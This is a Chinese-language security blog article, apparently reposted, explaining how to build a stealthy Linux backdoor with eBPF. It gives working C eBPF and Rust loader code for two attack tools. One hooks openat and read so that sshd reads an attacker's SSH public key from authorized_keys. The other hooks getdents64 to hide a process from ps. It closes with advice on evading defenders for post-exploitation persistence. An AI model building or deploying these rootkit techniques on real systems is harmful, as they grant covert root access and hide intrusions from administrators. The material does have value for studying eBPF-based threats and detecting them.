如何借助eBPF打造隐蔽的后门

admin 2023年2月17日09:28:42评论61 views字数 12102阅读40分20秒阅读模式

如何借助eBPF打造隐蔽的后门

eBPF技术简介

Linux 内核本质上是内核驱动的,下图表现了这一过程:

如何借助eBPF打造隐蔽的后门

图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 如何使用 Cilium 和 eBPF 使 Linux 微服务感知

  • 在图中最上面,有进程进行系统调用,它们会连接到其他应用,写数据到磁盘,读写 socket,请求定时器等等。这些都是事件驱动的。这些过程都是系统调用。

  • 在图最下面,是硬件层。这些可以是真实的硬件,也可以是虚拟的硬件,它们会处理中断事 件,例如:"嗨,我收到了一个网络包","嗨,你在这个设备上请求的数据现在可以读了", 等等。可以说,内核所作的一切事情都是事件驱动的。

  • 在图中间,是 12万 行巨型单体应用(Linux Kernel)的代码,这些代码处理各种事件。

eBPF为什么会成为我们的好帮手呢?

因为BPF 给我们提供了在这些事件发生时运行指定的 eBPF程序的能力。

eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。

例如,我们可以在以下事件发生时运行我们的 BPF 程序:

  • 应用发起 // 等系统调用readwriteconnect

  • TCP 发生重传

  • 网络包达到网卡

这很类似hook系统函数的行为,我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃,那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢?

首先,ebpf程序并不是传统意义上的一个ELF执行程序,而是一段BPF字节码,这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump 生成一段对应过滤规则的字节码

> sudo tcpdump -i ens192 port 22 -ddd
24
40 0 0 12
21 0 8 34525
48 0 0 20
21 2 0 132
21 1 0 6
21 0 17 17
40 0 0 54
21 14 0 22
40 0 0 56
21 12 13 22
21 0 12 2048
48 0 0 23
21 2 0 132
21 1 0 6
21 0 8 17
40 0 0 20
69 6 0 8191
177 0 0 14
72 0 0 14
21 2 0 22
72 0 0 16
21 0 1 22
6 0 0 262144
6 0 0 0

内核在接受 BPF 字节码之前,会首先通过验证器对字节码进行校验,只有校验通过的 BPF

  1. 只有特权进程才可以执行 BPF 系统调用;

  2. BPF 程序不能包含无限循环;

  3. BPF 程序不能导致内核崩溃;

  4. BPF 程序必须在有限时间内完成。

  5. eBPF 程序不能随意调用内核函数,只能调用在 API 中定义的辅助函数;

  6. BPF 程序可以利用 BPF 映射(map)进行存储,BPF 程序收集内核运行状态存储在映射中,用户程序再从映射中读出这些状态。eBPF 程序栈空间最多只有 512 字节,想要更大的存储,就必须要借助映射存储;

安全校验后 eBPF 字节码将通过即时编译器(JIT,Just-In-Time Compiler)编译成为原生机器码,提供近乎内核本地代码的执行效率,并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF Map 结构进行双向通信,每当特定的事件发生时,eBPF 程序可以将采集的统计信息通过 Map 结构传递给上层用户态的应用程序,进行进一步与数据处理分析。下图具体的展现了这一过程

如何借助eBPF打造隐蔽的后门

为了确保在内核中安全地执行,eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互,eBPF 指令有意采用了 C 调用约定,其提供的辅助函数可以在 C 语言中直接调用,这也方便了我们开发 eBPF程序,通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF 字节码,然后再通过 bpf 系统调用内核提交给执行。

下面,我们将通过实际开发来感受eBPF给安全人员提供的便利。

SSHD_BACKDOOR

我们知道,当用户在连接到远程的ssh服务器并提供非对称密钥时,远程服务器sshd会打开对应用户目录下的 验证用户是否可以通过对应的密钥登陆。~/.ssh/authorized_keys

因此,我们的目标很简单:就是让sshd打开 读到的公钥文件夹中含有我们的公钥信息,这样我们就可以认证登陆了。~/.ssh/authorized_keys

其过程可以简化为如下C语言代码

char buf [4096] = {0x00};
int fd = open("/root/.ssh/authorized_keys", O_RDONLY);
if (fd < 0) {
printf("ERROR OPEN FILE");
}
memset(buf, 0 , sizeof(buf));
if (read(fd, &buf, 4096) > 0) {
printf("%s", buf);
}
close(fd);
return 0;

我们很容易可以想到,hook read函数,将获得的文件内容修改为含有我们公钥的文件内容。

> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
tracepoint:syscalls:sys_enter_read
int __syscall_nr
unsigned int fd
char * buf
size_t count

我们需要获得buf和count,即写入sshd读取缓存的地址,和对应的长度

为什么不直接向FD写?
因为bpf只支持有限的函数调用,不能调用write向FD中写

从这里我们也可以看出,如果只是hook这个函数,我们并不知道是哪个程序,打开了哪个文件调用的这个函数,为了进行过滤,我们还需要hook openat syscall

> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
tracepoint:syscalls:sys_enter_openat
int __syscall_nr
int dfd
const char * filename
int flags
umode_t mode

这里我们可以拿到文件名,通过 这一打开文件名特征来进行过滤/root/.ssh/authorized_keys

对应进程,可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名,这里我们通过sshd进行过滤。

总体来说,流程可以分为三步

  1. hook openat syscall,根据文件名和进程名过滤拿到sshd的pid 和打开的 FD (通过exit时的ctx→ret)

  2. hook read syscall 根据 FD和PID 过滤拿到 sshd 读取密钥的 buf,并通过bpf_probe_write_user修改用户空间内存中的 buf

  3. hook exit syscal 清理ebpf map中保存的FD和PID,防止破坏其他进程和文件。

具体实现

Esonhugh 师傅基于cilium写了一版,为了锻炼自己写ebpf和rust的能力,拿libbpf-rs重写了一版,仓库在 https://github.com/EkiXu/sshd_backdoor 编译后的程序大小可以达到只有几百k。

bpf的部分是类似的,在enter时检查进程名参数中的文件名

SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
char comm[TASK_COMM_LEN];
if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) {
return 0;
}
const int target_comm_len = 5;
const char *target_comm = "sshd";

for (int i = 0; i < target_comm_len; i++)
{
if (comm[i] != target_comm[i])
{
return 0;
}
}

char filename[27];
bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]);
for (int i = 0; i < target_file_len; i++)
{
if (filename[i] != target_file[i])
{
return 0;
}
}
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
return 0;
}

在exit的时候存储对应的返回值FD

SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) return 0;
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}

在read enter时存储buff指针参数和大小

SEC("tracepoint/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) return 0;

unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) return 0;

long unsigned int buff_addr = ctx->args[1];
size_t size = ctx->args[2];
struct syscall_read_logging data;
data.buffer_addr = buff_addr;
data.calling_size = size;

bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY);
return 0;
}

在read exit时根据存储的fd,和在enter时拿到的存储buff指针,修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。(因此需要对应目标文件有那么多空间,否则无法写入,实战中可以向对应文件写入一些空格占位)

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
...
u8 key = 0;
struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key);
u32 len = payload->payload_len;
long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN;
long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN);
...
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}

关于加载bpf程序

const SRC: &str = "src/bpf/backdoor.bpf.c";
let mut out =
PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script"));
out.push("backdoor.skel.rs");

println!("cargo:rerun-if-changed=src/bpf");

SkeletonBuilder::new()
.source(SRC)
.build_and_generate(&out)
.unwrap();

在build.rs中编译对应的c文件到生成backdoor.skel.rs

fn main() -> Result<(),Error>  {
let mut skel_builder = BackdoorSkelBuilder::default();
skel_builder.obj_builder.debug(true);
let open_skel = skel_builder.open()?;

// Begin tracing
let mut skel = open_skel.load()?;
skel.attach()?;
loop {
}
}

通过builder生成对应的skel,调用load和attach进行挂载,当然这里需要loop阻塞一下,不然就直接退出了。

用户态可以监听perfbuf和ringbuffer这两个map,以ringbuffer为例

let mut builder = RingBufferBuilder::new();
builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf");
let ringbuf = builder.build().expect("Failed to build");

loop {
ringbuf.poll(Duration::from_millis(100))?;
}

rb_handler就是对应的处理函数

也可以修改其他的map,比如这里向map里传入我们自定义的公钥内容

//Replace your pub key here
let val = CustomPayload::new(b"nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= eki@DUBHE-VMn");
let key = (0 as u8).to_ne_bytes();
//let val = custom_key;
unsafe {
if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){
panic!("{}",e)
}
}

这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化,比如我们存储的CustomPayload,可以这么写(注意空间和长度需要固定)

#[derive(Debug, Clone)]
pub struct CustomPayload {
pub raw_buf: [u8; MAX_PAYLOAD_LEN],
pub payload_len: u32,
}

impl CustomPayload {
pub fn new<const A:usize>(buf:&[u8;A])->Self{
CustomPayload {
raw_buf: pad_zeroes(*buf),
payload_len: buf.len() as u32,
}
}
}

unsafe impl Plain for CustomPayload{}

效果如下

如何借助eBPF打造隐蔽的后门

FILE_CLOAK

上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽,比如这个进程会显示在进程树中,通过ps命令可以很容易的排查出可疑进程。

在linux下,我们排查系统运行的进程实际上是通过访问伪文件系统实现的,包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。/proc

> strace -e openat ps
...
openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
...

那么,很自然的会想到利用上一篇文章中说的,让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件,我们可能需要劫持目录下的所有文件。因此,我们不妨换一个思路,通过系统调用来篡改目录。现代linux系统使用的调用为,对应的原型和参数结构如下getdentsgetdents64

int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

//其中
struct linux_dirent64 {
u64 d_ino; /* 64-bit inode number */
u64 d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */ };

我们也可以验证ps中确实使用了这一系统调用

trace -e getdents64 ps
getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832
PID TTY TIME CMD
46489 pts/17 00:00:01 bash
57392 pts/17 00:00:00 strace
57395 pts/17 00:00:00 ps
getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0
+++ exited with 0 +++

隐藏流程

对于正常读取文件:

linux_dirent64 结构体在内存的排列是连续的,而且 的第二个参数 dirent 正好指向第一个 结构体,所以根据上面的信息,我们只要知道 链表的大小,就能根据 ,就能准确从连续的内存中分割出每一块。sys_getdents64linux_dirent64linux_dirent64linux_dirent64->d_reclenlinux_dirent64

那么隐藏的思路就是:

通过修改前一块 为下一块的+这一块的 这样读取文件是就会跳过这一部分直接到下一块。linux_dirent64->d_reclend_reclend_reclen

具体实现

具体代码也用libbpf-rust实现了一版

https://github.com/EkiXu/file_cloak

主要是对的hookSEC("tracepoint/syscalls/sys_exit_getdents64")

首先是遍历 结构体,找到对应的目录,这里通过尾调用的方式绕过eBPF对循环的限制,具体来说就是将原来的循环拆分成大小为128的块,一轮循环结束后,记录当前遍历的位置,通过bpf_tail_call再次调用这个函数进行遍历,直到找到对应的文件名。linux_dirent64bpos

int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
...

long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid >> 32;
short unsigned int d_reclen = 0;
char filename[MAX_FILE_LEN];

unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}

for (int i = 0; i < 128; i ++) {
if (bpos >= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name);

int j = 0;
for (j = 0; j < file_to_hide_len; j++) {
if (filename[j] != file_to_hide[j]) {
break;
}
}
if (j == file_to_hide_len) {

bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);

bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
}
bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
bpos += d_reclen;
}

if (bpos < total_bytes_read) {
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
}

bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
bpf_map_delete_elem(&map_buffs, &pid_tgid);
return 0;
}

找到之后,同样通过尾调用跳转到patch函数,注意,在遍历的过程中我们一直在更新存储之前的文件,当遍历到目标文件时,map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。

SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
...

long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;

short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
unsigned short d_reclen = 0;
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

...

bpf_map_delete_elem(&map_to_patch, &pid_tgid);
return 0;
}

用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。

open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());

最终效果如下

> ps aux |grep listen.py
eki 63504 0.0 0.0 91636 5876 pts/32 Sl+ Feb15 0:00 python listen.py
eki 82405 0.0 0.0 7012 2140 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py

---
> sudo target/debug/file_cloak 63504

---
> ps aux |grep listen.py
eki 82302 0.0 0.0 7012 2228 pts/35 S+ 01:33 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py

总结

在本文中,我们实际上利用eBPF机制实现了两个Gadget:

  • 通过劫持openat和read系统调用实现任意程序读取文件内容劫持

  • 通过劫持getdents64系统调用实现任意程序列目录劫持

通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。

优点和劣势

优点:

  • 文件痕迹上足够隐蔽,如果蓝队不查看可疑的bpf进程的话,由于这种方式并不会对磁盘上的文件造成影响,很难检测到添加了公钥,也很难修复。

  • 行为痕迹上足够隐蔽,全程的行为都是正常的,攻击者只是正常的使用公钥连接目标服务器。同时后门进程也不会出现在进程树中。

劣势:

  • ebpf需要root权限才能执行。因此只能应用于渗透提权后的权限维持。

  • 由于ebpf本身的特性,后门程序对目标系统内核版本的要求比较高,无法运行在较低的内核版本上。

参考资料

  • https://www.infoq.com/presentations/linux-cilium-ebpf/

  • https://github.com/Esonhugh/sshd_backdoor

  • https://github.com/pathtofile/bad-bpf

来源先知社区的【aric**** 师傅

注:如有侵权请联系删除

如何借助eBPF打造隐蔽的后门

 

如需进群进行技术交流,请扫该二维码

如何借助eBPF打造隐蔽的后门


原文始发于微信公众号(衡阳信安):如何借助eBPF打造隐蔽的后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月17日09:28:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何借助eBPF打造隐蔽的后门https://cn-sec.com/archives/1556523.html

发表评论

匿名网友 填写信息